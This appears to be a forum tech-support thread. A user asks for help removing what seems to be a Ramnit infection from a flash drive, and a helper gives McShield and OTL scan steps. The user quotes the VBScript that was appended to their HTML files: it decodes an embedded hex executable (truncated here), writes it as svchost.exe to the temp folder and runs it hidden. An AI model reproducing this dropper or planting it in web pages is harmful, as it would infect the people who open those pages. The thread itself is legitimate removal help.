Hi im new here…
im need help … how to clean Autorun, Recycler, and 4 files shortcut in my flashdisk
i try delete it with fileassasin and unlocker application…they still show in my flashdisk
im browse and someone tell me … my system has infected ramnit virus
i scan all my drive with Avast , Smadav , and Malwarebytes there is no one .exe file was infected…
but when im open my web project in xampp/htdocs … all my .html file infected with VB script
this script in all my .html file …
</html><SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A900003000 ..........
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT><!--÷
im delete all html file infected … n try scan again…
but im still can’t delete 6 files in my flashdisk …
can someone help me…
How is your main computer behaving ?
Download McShield to your desktop and install
It will initially run a scan and show the result as a toaster by the system clock
Then in the control centre select scanner and tick unhide items on flash drives
https://dl.dropbox.com/u/73555776/mcshield%20unhide.JPG
Plug in the drive and McShield will start a scan
Then get the log which will be here :
Start > all programs > MCShield > logs > all scans
And post that
My computer run as normally…not slowly or etc…
i found unknown services running in my system …
- mympdd.exe (locate at C:\Users\MyUsers\AppData\Roaming\Microsoft\Windows\Start Menu\Programs )
- double iexplorer.exe in task manager running services
i try delete mympdd.exe file from safe mode and stop 2 iexplorer.exe from services…
i can delete files normally in my flash drive … and not show up again …
i think my iexplorer.exe already infected…but why 2 anti virus not detect them ?? is this new varians of ramnit??
need help to clean my iexplorer.exe … because when im restart PC … there is still running in services
sorry my bad english sir 
OK lets have a look see. Do you have the McShield log ?
Download OTL to your Desktop
Secondary link
[*]Double click on the icon to run it. Make sure all other windows are closed and to let it run uninterrupted.
https://dl.dropbox.com/u/73555776/OTL_Main_Tutorial.gif
[*]Select All Users
[*]Under the Custom Scan box paste this in
netsvcs
BASESERVICES
%SYSTEMDRIVE%*.exe
/md5start
services.*
explorer.exe
winlogon.exe
Userinit.exe
svchost.exe
/md5stop
dir “%systemdrive%*” /S /A:L /C
CREATERESTOREPOINT
[*]Click the Run Scan button. Do not change any settings unless otherwise told to do so. The scan wont take long.
[*]When the scan completes, it will open two notepad windows. OTL.Txt and Extras.Txt. These are saved in the same location as OTL.
[*]Attach both logs